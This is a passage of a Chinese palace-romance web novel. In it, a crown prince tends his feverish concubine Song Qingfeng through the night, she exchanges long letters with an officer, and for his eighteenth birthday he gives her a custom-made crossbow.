他呆呆地盯着拢起的被子看了好一会。 到底伸手将被子扒拉了下来,露出她烧得通红的面颊,额发紧贴在额上,双眸紧闭, 已经睡了过去。 他伸出手背来略碰了碰额头, 触手依旧滚烫。 当真是被烧糊涂了。 不知在混说些什么。 李岏重又回到远处桌案上看奏报。 全福扒在门缝里往里瞧,又跑去瞧了瞧时辰,这都深更半夜了, 殿下怎么还没有就寝的打算。 顺意小声道:“殿下不过去了祝府半日,回来就落下这么多政务要处理。” 全福躬着胖胖的身子, 盯了屋内情形, 摸着光洁的下巴小声道:“殿下这大概是忘记要睡觉了吧?” “啊?”顺意偷偷地打了个大大的哈欠,震惊道,“这睡觉也能忘?” 全福一巴掌打过去道:“瞧把你精神的, 还不赶紧去盯着人熬药。” 顺意龇牙摸着脑袋嘟囔着,只许你八,不许我八…… 全福没听见,忙又找人连夜悄悄地将殿下踹坏的殿门给修好。 说来他瞧见殿下这幅模样心头也不是滋味,但又说不清到底哪里不是滋味。 一时心中也有些闷闷的。 但他可不敢去劝诫,殿下今夜明显是不好惹的,可不敢触霉头。 屋外雨声渐渐小了下来,宫禁深处隐隐传来打更声。 李岏看了看手里的奏报,才发现自己居然还翻在第一页。 这赵丰盈越发不知所谓,不知写得什么东西,看了半日,竟是一字也不知在说些什么。 桌角上的蜡烛燃烧怠尽,光线暗了暗。 他才恍然发现,自己大半夜的不睡觉去,居然在这坐了这半日。 眼瞧着天都快亮了,他也不是铁打的,起身准备去睡一会,哪知还未迈步,突然心中一个激灵。 她方才睡着的时候又哭又笑的,怎么这半日半点动静也无? 还未及思考,李岏不知何时已走到了榻边。 榻上的被子薄薄的,不仔细看根本瞧不见里头有人。她居然又整个人埋进了被子里! 哪里的恶习,当真是半点也不知悔改! 李岏熟练地将人扒拉出来,将一颗圆圆的脑袋露在外头,她却双目紧闭,被他这般粗鲁的动作,整个人却半点动静也无。 李岏心中一紧,想要叫太医,张了张口却又没了声音。 他伸出手来,慢慢送到她的鼻端底下,一丝微弱的,暖暖的气流喷在了手指上。 他感到自己的手指似乎也发了热,忙又缩了回来,一时只觉得自己的行径当真是可笑。 可手背还是下意识摸到了额头上。 居然还是滚烫的吓人。 不想这场风寒来势如此凶猛。 李岏看了屋角的更漏,瞧见那里头金沙缓缓地流着,按着它来算,离方才用完药才过去两个时辰。 只是热居然还是没退! 再热下去只怕真要热坏了,论理这时候下一碗汤药也该送来了! 正要开口唤人,却听门口一声轻响,全福带着几个小太监,捧着药碗来了。 全福抬头瞧见殿下,不由一愣,忙小心翼翼地上前关切地道:“殿下,您的脸怎么这么红?您可有哪里不适?奴婢伺候您去内室就寝吧?” 李岏一愣,下意识摸上了脸颊,才发觉触手滚烫一片。 就连浑身都跟着热了起来。 只是除了有些热,他并未觉得哪里不适,若是再叫太医,又是一阵兴师动众,当即摆手道:“不必了。” 说着却又道:“叫人查查这沙漏是不是坏了,换个新的来。” 全福瞟了一眼墙角的沙漏,忙躬身应是。” 李岏浑身燥热,自己行到窗边,轻轻推开了窗户。 屋外黑得如墨一般,雨小了许多,淅淅沥沥的下着。 夜风夹着细雨,便这般扑了进来,落在他滚烫的面颊上。 不想不过片刻,便听身后传来朦胧一声“冷。” 他“啪”地一声关了窗户,转头却见床上的人皱着细小的眉头,下意识将被子又紧紧地拉了拉。 而奉药的内侍正在榻边,给她喂药。 只是她双目紧闭,浑身如煮熟的虾一般,也不知是睡得沉了,还是陷入迷糊了。 小太监试了几次,也未喂进去一滴。 李岏便负手站在一旁看着,那小太监感受到迫人的压力,愈发紧张地手抖,汤药险些全撒在了榻上。 但是榻上的人愣是一动不动。 李岏冷着脸道:“太医。” 太医忙急急来了,可喂不进药他便是大罗金仙那也是白搭。 不过他倒是有喂药的法子,但也不敢使,这可是殿下的人! 他低着头,却感受到了殿下噬人的目光。 太医忍不住汗流浃背,小声回禀道:“臣……臣或可行针灸退热,只是……” 李岏道:“针呢?” 太医忙道:“在呢,在呢。” 说着他忙从身侧的药箱里取出针包来,一字排开,便见一根根银针在烛火下闪着冷光。 李岏眉心一跳,冷着脸道:“想办法喂药。” “……” 太医忙又收了针,他硬着头皮,又从药箱里拿出一块玉板来,与殿下解释道:“臣待会用此物撬开娘子的嘴,趁机或可喂药进去。” 说完偷偷瞥了一眼,见太子殿下虽然冷着眉眼,眸中意味不明,好在并未出言反驳。 他便大着胆子,颤巍巍走到榻边将玉板伸了出去。 全福跟着小太监端着药碗,随时准备瞅准时机将药灌进去。 哪知这玉板不过方靠近宋娘子的嘴,还未使力伸进去,她就撇开了头。 几人面面相觑,太医以前在外头行医多年,早见惯了这模样,当即吩咐道:“寻两人按住她!” 旁边几人听从太医指挥,正要照做。 哪知身后传来凉凉一声:“呵。” 众人动作一僵,太医僵硬地转头,却见太子殿下正站在一旁,那眼睛盯着他手中的玉板,就像要在上头瞧出个窟窿来。 他手一抖,玉板就落在了地上。 李岏道:“堂堂御医,连退个热都束手无策?” 太医跪在地上,苦着脸道:“殿下,臣……臣还有一策。” “什么?” “这药用不下,或可借用外力来降温,好在今夜下了雨,正是寒凉,只需将这屋内的炭火全都灭了,窗户尽数打开,再将宋娘子的被褥去掉一些,……” 李岏低着头,见床上人热得浑身通红,当即点头道:“嗯。” 他一声令下,屋内众人当即行动,挪炭笼的挪炭笼,开窗的开窗。 屋内热气渐渐消散,寒风灌着吹了进来。 随之而来的还有萧萧雨声。 只是这去被褥一事,屋内不是太监就是太医,众人都不敢上手。 李岏挥退众人,自己坐到榻边。 伸手来扯她的被褥,只是她迷迷糊糊中却是怕冷,将被子紧紧地抓着,他使了使力,才将被子掀开。 哪知床上人争不过,冷得浑身打颤,只能顺着本能去靠暖和的地方。 她很快便攀上了热源。 挂在了李岏的身上…… 风听雨歇,阳光很烈,从窗户撒了进来。 宋轻风被晒得眼皮疼,这才不情不愿地睁开。 若不是及时用手挡着,她简直要被阳光刺瞎。 这屋子果然光线充足,白日里四处都被阳光晃得亮晶晶的。 她适应了好一会才勉强睁开眼睛,四顾发现这是太子常呆的那间侧室。 他常在这矮榻上看书,写字,下棋。 只是如今这榻的垫子被褥皆已换了。 如今因着她这个病人临时占用,他常用的东西也全都被收拾了起来。 不想这一场风寒来势如此凶猛,她退了热,却还是浑身无力,头晕脑胀。 却正好顺意进来送东西,她叫住他道:“乌梅和又绿如何了?” 顺意摇头道:“这一通板子下来,没个十天半月下不来床。不过娘子您放心,等您回破云院去,殿下已吩咐这些日子给您安排新的奴婢伺候您。” 宋轻风摇了摇头。 在这京师里,她不欲再接入更多的人了。 她又道:“上回你送我的伤药极好用,能不能请你给她们也送点?” 顺意想起那瓶御用的药,那药本就极珍贵,又岂是他随意能拿到的。 遂道:“那药是没有了,不过奴婢倒是常备着伤药的,娘子要是不嫌弃,就将这药给她们用。” 宋轻风叹气道:“好吧。劳烦还有小白和嘎嘎……” 顺意道:“奴婢都记着呢。” 宋轻风重又躺回被窝里。 一时有些好笑,不过进宫两三个月,居然也有了些牵挂。 好在小白是只野猫,在哪都能活,嘎嘎是只宫里的乌鸦,比她在这宫里还神气。 至于乌梅又绿……她们在这宫里多年,生计并不是问题。 其他的,倒是再没有了。 如今她病着,乌梅又绿又伤着,她此刻回破云院不过是添乱。 不如正好就先赖在这里,每日里好吃好喝地等着,阳光又好,味道又好闻。 只是那架子上的锦盒,却不知为何不见了—— 作者有话说:晚安~《 》 40-45 第41章 第 41 章 绣花 宋轻风躺在床上四处搜寻, 架子上的东西基本都还在。 除了那只上了锁的锦盒。 仔细想了想,上回来此的时候,似乎还在的。 她摇了摇头, 索性等过几日再看,也不急于一时了。 屋内摆着几盆开得正盛的兰花,鼻尖都是那若有似无的淡淡香气。 她便这般闻着香气默默地躺了一日。 到了第二日, 到底觉得躺着无聊, 身体都要长出茧子来,屋内无人, 除了用膳用药时候有人来,其余时间全是静悄悄的。 便是有人在,也不闻半点声响。 太子自打前夜之后, 便再没见过, 自己占了他的地方,不知他哪里去了。 不过他素日里也是早出晚归,白日里呆在东宫的时间并不多。 她又在这样安静锦绣的屋子里呆了一日,竟有些恍惚, 生出许多寂寞之感。 平日里乌梅呱呱说个不停, 再不济,还有嘎嘎飞来飞去。哪像而今这般,好像只有自己一个活人。 不知太子每日里, 这般活着,是何感觉。 她风寒尚未全愈, 浑身无力, 索性躺在榻上看那本射经。 这书上开篇明义,简单说来,就是第一需循序渐进, 不可急与求成,而第二则说弓如良驹,需寻适合自己的良弓。 这倒与太子与自己说的极为相似。 只是他只说自己莫要急功近利,却未说每日里练上多久才算循序渐进?这弓与弓的,都长得差不多,除了他那日用的瞧起来金贵些,也实在没瞧出什么差异来。 宋轻风龇牙看了半晌,很快将书都翻完了,却一时有些明白,一时又有些糊涂了。 想来想去未想出个所以然来。 她想要寻人问问,可这殿里还有谁可问? 除了太子。 他这两日分明就是不想见到自己,特意避开了。 那日他从祝府回来就一直黑着脸,看向她的目光叫人浑身发寒,她自然不敢问他。 正是无处可解,突然叮地一声灵光一现。 西山大营里的云逍,人长得好看又有趣,关键还是个好为人师的! 想及此,她当即翻身而起。 这屋子里缺人气,却不缺纸笔。 她瞅着榻边的矮柜子里厚厚的摞着一沓纸,轻手轻脚地抽出几张纸来,桌几笔墨都是现成。 她趴着,捏起笔来,写得歪七扭八,不想洋洋洒洒写了好多张,方收拾好,正要寻个机会让人递出去。 却听门帘子响,顺意带人进来给她喝药了。 宋轻风端起药碗来,眉头都未皱一下,咕嘟喝了干净。 而后掏出自己的信来。 顺意接过厚厚的一沓纸,像砖石一般厚的信?! 娘子这是在写书呢? 好在他忍住了,只是恭敬地道:“东宫每日里有专人往西山大营来回,您将信给奴婢就是了。若是有回信,当日也能一并带回来。” 宋轻风未想到这么快,当即大喜过望。 “只是您知晓的,传递的信件,会被审查一番。不知您……” 宋轻风大手一挥,连连点头道:“无妨无妨。” 说着忙又抓了笔,抽了张纸,咬了咬唇而后郑重写道:“盼早些回信。” 顺意瞟了一眼,眉眼忍不住抽搐。 难道宋娘子写了如此厚厚一沓。 她一个字写得斗大,横不平竖不直,好不容易架成了一个字,一页纸上,这五个字就占了大半。 可不要写本书出来么! 他平日里伺候殿下书信笔墨,自己也写得一手好字。 不过这宋娘子自幼流落在外,能写这么多字也很是不易了! 顺意拿了信,去寻赵管领,托他送信。 赵管领瞧见信封上大写的云逍收几个字,想了想去寻高守。 高守一时也拿不定主意,当即来请示太子殿下。 李岏听闻,手中笔一顿,目光不经意自高守手中举着的厚厚一沓纸上飘过。 他眉头急跳,又低下头,好一会才道:“送便送了。” 高守捏着手里厚厚的纸道:“太子殿下,这宋娘子居然能写了这么多,不知都写了些什么,可要查阅一番,再送去?” 李岏冷笑道:“孤是窥人信件的小人?” 高守一窒,心道,咱们在各处的暗探,不常做这些事么。这算什么偷窥信件。 但他哪敢反驳,只是道:“是,臣这就命人即刻送去西山大营。” 李岏乌沉沉的目光落在自己面前的案上,案角上堆着一堆外地送来的内信。 他伸手一把拆开上头的信,一目十行瞧了一遍,无非是说当地秋收赋税一应政策情形。 他手一松,信纸飘在了桌案上。 当即皱眉与全福道:“这些都送去詹事府整理汇编再递过来,这种琐事也送到孤这里来。” 全福忙答应着,指挥一旁的内侍赶紧将信都拿走。 李岏伸手端茶来喝,喝了一口又放下了,而后彻底扔了笔道:“孤的棋呢?” 全福心知这棋就在内室,只是这几日内室住了位宋娘子。 殿下几次三番行到门口又退了回来,他忙道:“奴婢这就取来。” 李岏却已起身,径直往内室去。 宋轻风不妨帘子突然被人掀开,她一惊,手中的针差点戳到手指。 抬头却见太子一身苍松色团龙衣裳,面目冷淡,大步走了进来。 她自榻上直起身道:“太子殿下。” 李岏“嗯”了一声,却看也未看她一眼。 自己径直走到一处架子前,左右看了看,而后打开直屉,从里头拿出了那副棋盘。 宋轻风几日不见他,不想他还是冷着脸,估摸还为那日的事生气,但他收留她这些日子,总不至将气氛弄得太尴尬。 一时有些讪讪地搭话道:“殿下您要下棋啊?” “嗯。”李岏应了一声,自己拿了棋,在对面的矮榻上摆上了。 不一时黑白棋子上了盘,他自顾摆开了。 宋轻风见他没有要搭理自己的迹象,也便拿起手头的针线继续做活。 屋内一时静静的,仿若半点声息也无。 李岏目光瞥了过去,便见她半躺在软榻上,面色还有些苍白,似乎还未恢复,唇角咬着,几缕发丝便落在唇边。 他蓦然想起前夜。 他扯开了她的被褥,她便寻着热源攀上了自己。而后便紧紧抱着自己不撒手,他拉扯了几回,都不能将她拉扯开。 她的身子又软又烫,面前更是如棉花一般绵软,紧紧地贴着自己。她的一呼一吸,便吹在他的颈间,至今都莫名觉得痒痒的。 后来,他也放弃了抵抗,任由她紧紧攀着,将一颗圆圆的脑袋,在自己的胸口,肩头,蹭来蹭去。 他似乎被她的热完全感染,浑身滚烫,不能自已。 再后来…… 李岏一个激灵回过神来,双颊微微有些发烫。 这才发现她正在穿针引线,而手中,却是一个小小的东西,而她的旁边,一盆幽兰开得正盛。 她便看一眼幽兰,绣一针花。 她在绣兰花? 他的生辰将近,她在准备他的礼物么? 李岏手中的棋子不自觉掉了下去,一声清脆的声响,他却仿若未闻。 空气里的花香,愈发馥郁—— 作者有话说:晚安~ 第42章 第 42 章 生辰 宋轻风听到声响, 抬头来,正撞见他的眼睛。 李岏尴尬地转过头,咳嗽一声道:“你风寒未愈, 还是莫要多废功夫。还有好几日的……” 宋轻风看得呆了,疑惑道:“什么?” “没什么。” 宋轻风不以为意,见他只是呆坐着, 不由问道:“殿下不下棋了?” 李岏见她一双黑眸子看向自己, 里头一片火光,他下意识想起那时的触感, 感到喉头发痒。 宋轻风见他不说话,一时又有些明白了。 这几日她呆在这安静的地方,每日里定时定点地用膳喝药, 虽然众人伺候得殷勤周到, 可她却感到心中憋闷。 他这样一个人,一日又一日地活在这样的地方,难怪会是如今的模样。 外头的天地虽然生活艰难,但总归玩笑肆意。 李岏见她低着头, 不由道:“你没什么想说的?” “什么?”宋轻风一愣, 道,“要说什么?” 见他面色低沉,似乎有心事的样子, 宋轻风忙反应了过来,道:“那日之事, 我知道您担心祝小姐的安危, 我也知道您不能信我,虽然我说再多都是无用。” “你……”李岏抬头。 宋轻风接道:“如您之前所言,她是主, 他日会成这东宫的主人,我明白自己的身份,等她进了东宫,我一定毕恭毕敬,离得远远的,绝不敢招惹她的。” 李岏心头一堵,低声道:“未必是她。” 宋轻风扯了扯衣摆道:“除了她,我还瞧见了那位赵小姐,生得果然美若天仙,又做得一手好画,听说您也极爱她的画,比之祝小姐也丝毫不逊色。说来这些世家女子,都是又能诗又能画生得还好看,都比我强上百倍,您随便挑上几个,都错不了。” 李岏看到她扯着自己的衣裳,看向自己的目光里一切真诚,并非特意奉承之言。 他感到一丝难言的燥意从心头升起,起身道:“早点休息。” 便大步走了出去。 不想方出门,就撞见顺意低着头来了。 顺意一惊,忙低下身让在一边。 李岏扫到他手中拿着的信,也是厚厚的一沓。 他一眼就认出信封上正是云逍的笔迹! 这个云逍,平日里给自己写得奏报,都是薄薄一页,可从没有这么厚过。 他怎么也想不明白,他们不过才见过一面,讲过几句话,怎么眨眼之间一来一往,竟是有说不完的话。 李岏一声未吭,冷着脸走了。 顺意擦了擦掌心冒出的汗,进了内室来寻宋娘子。 宋轻风不想这信居然这么快就来了回信,惊喜地从软榻上直起身来,接了信来。 却见厚厚的一沓,却不像她的,云逍的字密密麻麻铺满了每页纸。 不先回答她的问题,倒是上来就夸赞她一番,居然想起了他,不枉他当时在军营里招待她一场。 而后东拉西扯,说他这些日子忙得晕头转向,先是跟着谢危去四处巡防,去安置来京的灾民,还在皇觉寺里住了好几日,偷了好几个和尚的斋饭吃。这几日又在封查各路来京的使节,忙忙糟糟的,他正是愁苦得无处可说呢! 宋轻风从信里就想象他嘴上说着愁苦,却裂开嘴笑得开怀的模样。 再过五六日,就是太子的生辰。各地方督府,周边邻国都会派使节进京给太子贺寿。 想必京中已是热闹异常。 这些日子她躲在这内室里,竟没瞧见外头的热闹。 她再往下看,才见他开始解答她的疑问。 看他说得头头是道,宋轻风看了却有些半信半疑,迫不及待地又拿起笔来,开始写回信…… 九月二十八。 整个东宫已是一片喜气洋洋,各处装点得极为鲜亮。 据全福说,按照规矩,今日太子殿下便会在宫内设宴,招待各方来使。 而明日天不亮便会离开东宫,前往正和门接受百官贺寿,而后要前往祖陵祭拜先祖,告慰天地。而后大宴群臣,至晚方散。 然后晚上陛下会在宫中设家宴,皇室一家在宫中团圆用膳。 其中繁琐礼节,说得宋轻风头晕眼花。 她这两日已恢复了七七八八,从床上下来,到外头瞧热闹。 东宫虽未来多少人,而一波一波的礼物,却被抬进了东宫的大门。 全福便带着几个面熟的小太监,在那登记造册。 宋轻风站着一旁,被这些礼物晃花了眼。 这些礼物,大多是她见都没见过的,大部分在阳光下都闪着光,这亮光晃着她的眼睛。 这个世上没有哪个女子不喜欢亮闪闪的东西吧!她恨不得每个都摸上一摸。 她帮着全福一起,忙碌了一整日。 趁机也仔细将每个礼物都瞧上了两三回方罢。 直到夜深人静,她才睡梦辗转中听到太子回来的动静。 本以为他会直接去后面寝室里休息,哪知却听闻帘子响起。 宋轻风本就睡得有点浅,闻声一惊,抬起头。 便见他一身玄黑色衣裳未换,发冠未除,正轻手轻脚地进来。 见她醒了过来,他负了手,轻声道:“你在等我?” 说着目光扫向榻边燃着的烛火。 宋轻风解释道:“我有点怕黑。” 李岏点了点头也不知信了没有,却自顾在榻边坐了下来,坐在了她的旁边。 一丝若有若无的酒气散了开来。 这么晚来,想到他的心思,宋轻风主动从被窝里爬起身来。 他却并未行动,反而伸手进宽大的袖子里一阵掏摸。 宋轻风见他侧颜如雪,面上染着红晕,平日里紧抿着的薄唇,今日也鲜红一片。 此刻的他,少了往日里沉闷的气势,却多了少年人的青涩。 她心中化成一汪水,晃晃悠悠。 彷佛日子回到了很久以前。 一切都有些朦胧得记不真切。 他却从袖子里掏出一把东西递了过来。 宋轻风勾头一瞧,却见他摊开的掌心中,堆着一把五颜六色的圆圆的东西,这些东西被包裹在一张张晶莹剔透的纸里。 见她好奇的目光,李岏道:“这是金彩糖。” 这世上,居然有如此五颜六色的糖? 李岏抓住她的手掌,将这些金彩糖全都放进了她的掌心。 今日宴上,他无意中瞧见案上摆着这南边进贡的糖,临时起了心思。 趁着旁人不备之时,抓了一把进了袖子。 宋轻风接过糖,感受到每一粒都是暖暖得带着他的体温。 她惊喜地每一个都瞧了瞧,这些糖不光颜色斑斓,连糖衣都没拆,却已闻到了清甜的香气。 她含笑抬头,蓦然瞧见他的面容,双眸里映照着烛火,便这么看着她。 宋轻风嘴角的笑突然有些凝住了。 一丝难以言说的异样感觉涌上心头,叫她有些不敢看他。 李岏见她突然失了笑意,不由问道:“怎么了?” 宋轻风回过神来道:“没什么,只是从没见过这么好看的糖。” 李岏未曾多想,见她模样不由有些失笑道:“要不要尝尝?” 宋轻风重又抬眸笑道:“不了,这么好看的糖衣,我可舍不得拆。” 说着从被褥旁捞过那只荷包,一股脑全都塞了进去,整个荷包又鼓鼓的仿若刚吃饱的胖子。 “糖能放好多好多年的呢,留着慢慢吃。” 李岏顿了顿,有些无语。 宋轻风道:“您今日定是极开心的吧,这么多人来给您过生辰,我在这里都听见好热闹哦。” 李岏眸色暗了暗,却点了头道:“嗯。” 宋轻风却一惊,瞟了瞟屋角的沙漏,发现早就过了子时。 此刻已是九月二十九了! 她这才惊叫道:“已是九月二十九了,太子殿下,祝您生辰快乐!平平安安!” 烛火摇曳,他一席黑色长衣拽地。 今日便已听了太多恭贺他生辰的词,各个文采斐然,词藻华丽,全是这世上最好的祝愿,他连听都懒得听。 却只有她的词,如此简单,李岏却记下了,点头道:“嗯。” 说着他突然道:“若是你愿意,也可以是你的。” “什么?” 李岏道:“我说生辰。” “我记得你说过,不记得自己的生辰是什么时候。” 宋轻风不想他还记得此事,不由有些呆呆的。 她总会下意识回避去想起她那不知道的过往,虽然她不记得发生了什么。 李岏见她没有回应,也没有继续。 “睡吧。” 他起身,却瞟见她放在枕头旁的针线盒。 里头的绣品只绣了一半,隐约瞧见是一支尚未绣全的兰花。 第43章 第 43 章 神弩 一大早, 天色却阴而小雨。 昏暗的天色,却不影响东宫内外从一早就开始的喜气洋洋。 各处花团锦簇,笙歌笑语隐隐从四面八方传来。 太子殿下的十八岁千秋宴从今日便正式开始了。 天不过麻麻亮的时候, 就有司仪在外头唱和弹乐。 太子在众人服侍之下,换上了一身玄色蟒纹绣金衮服,腰系龙纹玉带, 端坐在正殿。 平日里冷清肃穆的院子里站满了人, 随着司仪的一声唱诺,这些人跪下, 连带着外面也传来山呼海啸般的恭贺声。 宋轻风站在一侧,见他额前的旒珠微微晃动,后头的眉眼瞧不清楚, 整个人威严又陌生。 与昨夜所见之人分明就是两个人。 她一时生了些恍惚。 还未反应过来, 太子便起身,带着东宫外头的一众人走了。 全福也跟着一起走了。 她的身份只是个侍妾,自然是登不上这样的台面,便被留了下来。 她便堂而皇之地继续去内室。 这几日她风寒已愈, 却没有要走的意思。 太子也没提, 自然也无人敢来撵她。 但是早就有风言风语传了过来,说她装病,趁机赖在这里不走。 好在并无人来打扰她。 今日大宴, 太子身边近身服侍的人全跟着去了,只留下些外围洒扫的人在外头。 宋轻风进了内室, 便开始顺着架子一路看去。 那只上了锁的锦盒, 不知被收到了何处,她在屋内四处也未寻到,又怕留下蛛丝马迹, 并不敢太大动作的翻动。只是轻拿轻放。 正翻找之时,突然听到一丝声响。 她手一顿,却见是顺意不知为何回来了。 宋轻风心中一紧。 顺意低头道:“宋娘子,奴婢特意来送太子殿下的千秋十二品,是殿下的寿糕,寿饼等物。” 说着却见小太监们鱼贯而入,送来了满满一桌的糕点。 宋轻风道:“多谢了。” 顺意笑道:“应该的。” “宴上热闹吗?” 顺意笑道,“那可不,尤其是几位大小姐,为殿下寿辰献艺,每个都是极好的,尤其是赵家大小姐耍了套剑舞,当真是叫人眼花缭乱,大出意外,连殿下都赞叹呢。” 难怪,在这里都听得到隐隐的喝彩管乐之声。 宋轻风寻不到东西,心中一动,抓住顺意问道:“昨夜太子殿下提到,他有个东西,极喜欢,常放在身边,不知指的是哪个?” 顺意道:“娘子说的大概是那个锦盒吧?” 宋轻风心头一跳道:“好像是,之前见过,只是里头装的是什么?” 顺意摇头道:“奴婢从未见殿下打开过,不过殿下如此宝贝,定是极重要的。” “那锦盒在何处,怎么不见了?” 顺意不以为意地道:“哦,先头一直放在这多宝架上,近日殿下命奴婢好生收起来了。” 宋轻风不想居然是他收起来了,下意识地抓住他道:“收到了何处?” 顺意方要开口,却见外头殿门支呀一声开了。 潺潺的落雨声随之而入。 屋内两人不自觉转头,却见一人身形魁梧,一身银甲上落着水渍,闪着光。 两人心头一突,好一会才发现掀帘而进的正是太子殿下的贴身侍卫,高守。 他如炬的目光往殿内一扫,便锁定了站在当中的宋轻风。 皮靴在金砖上噗呲作响,留下几个满是水渍的脚印,顺意不敢说什么,只得鼓着腮帮子以示抗议。 高守目不斜视,径直走到宋轻风面前。 而后将手中捧着的一只一尺见方的锦盒递了过来。 刚提到锦盒,又见了一只新的锦盒。 宋轻风见这锦盒呈深褐色,上头雕着祥云纹,一看就是上用之物,一时不解地道:“这是何物?” 高守道:“太子殿下的生辰之礼。” 宋轻风面色一红,局促地抓了衣摆下的荷包,讷讷地道:“我……我并未准备。” 他怎么叫人端着个盒子来收礼。 高守不解地皱眉道:“什么?” 宋轻风道:“啊?” 高守不知她在说些什么,只是眉心皱着道:“拿着。” “哦。” 宋轻风接过来,却险些脱了手。 这盒子不起眼,居然比她想象地沉好多。 高守却道:“殿下有令,叫你打开看看称不称手。” “啊?”宋轻风一时愣了,这里头有东西? 见高守一动不动地站着,她忙将盒子放在地上,解了锁扣掀开来。 一旁顺意也好奇地凑过来。 却见盒子里躺着一只通体黑色的东西,并不大,模样精巧,看起来像是……像是…… “木头做的鸟?”宋轻风大为疑惑,这黑漆漆的东西,生了一对翅膀,却比鸟瞧起来更加复杂。 她好奇地将这木头鸟拿出来,翻来覆去地仔细打量,这才发现这东西有机窍,有凹槽,还有一根弦? 宋轻风抬起头,不敢置信地道:“这……这是弓?” 高守道:“这是神弩,殿下命我拿来给你。” “神弩?送给我?”宋轻风惊地瞠目结舌,她虽然没见过,可这神弩的大名她却听说过。 比之弓箭,力道及穿透力都更强,且靠着机窍拉弦射箭,不消耗射箭人的臂力。只是这东西结构精巧,设计繁复,非能工巧匠不可得。 一旁顺意都惊讶地张着嘴。 高守见两人圆瞪双目囧囧看着他,一时有些不适应道:“神弩的用法,盒子里有书,既然你没什么意见,我便回去复命了。” 宋轻风突然想起昨夜他说的话,也当做她的生辰。 所以他是在自己生辰之时,送了自己一份礼物,权且当作生辰之礼吗? 她见高守抬脚就要走,遂忙道:“等等。” “还有什么事?” 宋轻风有些犹豫地问道:“殿下……怎么会送我东西?这东西是不是太贵重了,要不?” 高守却道:“这弩是按着宋娘子你的手掌尺寸做的,你不要也是扔了,多浪费。” 宋轻风陡然从记忆里想起,前些日子,时常瞧见太子趴在案头画些奇怪的图。 如今想来,那图与手中的神弩竟是长得一样。 她怎么也未想到,那个时候的太子,会要送给她一份这样的礼物。 不由问道:“殿下为何想到送我神弩?” 高守皱眉,想起那日在校场的见闻,认真地道:“大概是因为你箭法太差,霸占了殿下的校场练个没完没了的,叫人看了可怜?” “哦。” 高守说完却又与顺意道:“怎么还在这,还不快走?” 顺意忙答应着高守一声跑走了,宋轻风拦都拦不住。 她知道锦盒一时不可得,干脆拿起神弩,一番摆弄,愈发爱不释手。 不一时发现这操作方法,在那本射经上全都有。 她手痒难耐,瞧见盒子里备了几只细细的铁箭,迫不及待从里头抽出一根来,跑到院子外头。 屋外阴雨密布,天光昏暗。 远处的屋舍都笼罩在薄雾之中,瞧不清楚。 宋轻风拿着神弩摆弄了一会,举起来眯眼对着远处殿宇的一角就射了出去。 谁知“当”地一声,那箭自檐角下的铁马擦身而过,那铁马受震晃动摇摆,发出悦耳的铃声。 岂料这动静一起,宋轻风瞬间感到凌厉的杀意将自己层层包裹,她吓得忙举起双手叫道:“我错了,我不是坏人,别杀我!” 高守铁青着脸不知从何处飞奔而来,见她手中举着神弩,一时额头青筋跳了几回。 好一会方咬牙道:“若不是我未走远,你方才就已经死了!” 这东宫守卫,可远不止明面上这些人。 像方才这种危险行为,若不是他及时发出信号,她早就被人从暗处一箭射穿了。 宋轻风耷拉着脑袋道:“对不起,我……我忘了,在宫里了,我太开心了,第一回收到礼物。” 高守不顾她可怜模样,也不管她的身份,厉声道:“可不是每次都这般幸运。要练箭,只能去校场,知道了吗?” “知道了。” 高守又看了看远处还在晃动的铁马,那处是宫内的藏书阁,与东宫相距甚远,那檐角下的铁马看过去比麻雀还小,因着天气,视线更是朦胧。 这般的距离和视线,可不是一般人可以射中的。 她居然射中了? 高守有些意外地挑了挑眉道:“方才你是瞄准了那只铁马?” 宋轻风慌忙摆手道:“不不不,我没有打什么铁马。难道打坏了什么铁马,我真不是故意的。” 她本来只是想瞄准那屋檐下的铃铛罢了,怎么会打到了什么铁马? 高守点了点头,心道果然只是碰巧罢了,遂道:“我还要去侍卫太子殿下,你今日莫要再闯祸端。” 宋轻风一把抓住他坚硬的下摆道:“留步。” “高手大人,替我,谢谢太子殿下。” 高守回来,将方才的事及几人的对话一五一十地汇报给了李岏。 李岏正在宴上,也不知听到了没有,只是随口“嗯”了一声。 堂中歌舞不歇,鼓乐齐鸣,人人脸上洋着喜色来恭贺他的生辰。 闹哄哄了一日,总算在傍晚时分才安静了下来—— 作者有话说:晚安~ 第44章 第 44 章 家宴 今日毕竟是个好日子, 皇帝难得的和颜悦色。 他看着李岏道:“闹了两日,你也乏了。晚间的家宴,皇后提议就设在紫晨宫, 也不必叫其他人,只咱们几个清清静静地用个膳,单为你贺寿。” 一旁皇后笑道:“人少些, 规矩就少些, 太子也能自在些。” 李岏身体一僵,好一会才道:“是, 只是一时还有些急事要处理,臣正想着……” 皇帝转了手中酒盏,看着里头琥珀色的酒水, 却打断他道:“今日你生辰, 不管什么十万火急之事,一概倒可以先放一放。” 李岏低头道:“是,那容臣先去集贤殿,去去就来。” 皇帝掀起眼皮看了他一眼道:“既如此, 你先去吧。” 阴沉了一日的天气, 在傍晚时淅淅沥沥下了小雨。 内室的窗全都开了。 她一个人拧了壶酒便在窗边自饮。 不远处宫阙的丝竹声从白日里到现在都未停歇,而今隔着雨帘,听起来愈发遥远。 她举起杯子, 笑了笑。 看了看昏暗的天色道:“真好,这么多人可以给他庆生。” 比他们那时候两个人在破庙里头热闹多了。 宋轻风看着远处淹没在雨幕里的金顶, 似乎看得到那殿内灯火通明, 一家人聚在一处,暖意融融。而他做为今晚的寿星,正被众星捧月, 与人推杯换盏,冷淡的眉眼再难掩笑意,露出那个久违的笑来。 她似乎真的瞧见了那抹笑,也忍不住笑出来。 她下意识从荷包里,摸出一块斑斓的糖来。 酒味和着这特别的糖,竟是从未有过的滋味。 “只可惜,下雨了。” 她看了桌案边的烛火出了神。 不知过了多久,一阵冷风袭来,宋轻风脑袋一个激灵,瞧见身旁装着神弩的锦盒…… 紫晨宫内,火烛辉煌。 隐隐听到里头有人的说话声,哝哝细语,夹着笑声。 守门的内侍胆怯地抬头看了一眼,发现太子殿下还负着手站在檐下,未曾挪步。 他不敢催促,方才殿下一个眼神,就阻止了他进去通禀的意图。 这几日天气愈发有些凉,直往人脖子里钻,他原站得浑身冰凉,此刻却不禁汗水顺着额头往下淌。 宫中所有人都知道,太子殿下极少踏足紫晨宫。 紫晨宫一直是大雍皇后的寝宫。 而太子是元后所出,只可惜先皇后早逝,十几年前,当今皇后接了后位。 看着继母住着自己生母曾经住的地方,搁谁头上都不乐意。 只是今夜陛下设宴在此,他却不得不来。 李岏在檐下站了不知多久,直站得双腿麻木,才抬步准备进去。 内侍忙推开殿门。 